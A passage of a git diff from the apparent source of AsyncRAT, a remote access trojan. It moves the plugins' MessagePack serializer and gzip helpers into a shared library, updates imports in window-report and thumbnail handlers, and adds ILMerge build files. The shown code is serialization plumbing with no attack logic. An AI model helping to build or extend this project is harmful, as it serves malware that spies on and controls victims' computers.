|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj index e764f20..8e092b0 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj @@ -1,6 +1,7 @@  - + + Debug @@ -57,11 +58,6 @@ - - - - - @@ -70,28 +66,34 @@ True Resources.resx - - - - ResXFileCodeGenerator Resources.Designer.cs + + + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - + + + - + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs index 2f83343..7f24777 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs @@ -1,5 +1,5 @@ using Miscellaneous.Handler; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs index 32e717c..54b7531 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Zip.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config index b4c6840..1bc7f33 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config @@ -1,5 +1,5 @@  - - + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs index 86fd951..8eeb25a 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleReportWindow.cs b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleReportWindow.cs index ab7ebc1..bde7cbc 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleReportWindow.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleReportWindow.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs index fd478b9..7fdd2b2 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Drawing; diff --git a/AsyncRAT-C#/Plugin/Options/Options/ILMerge.props b/AsyncRAT-C#/Plugin/Options/Options/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/Options/Options/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/Options/Options/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = 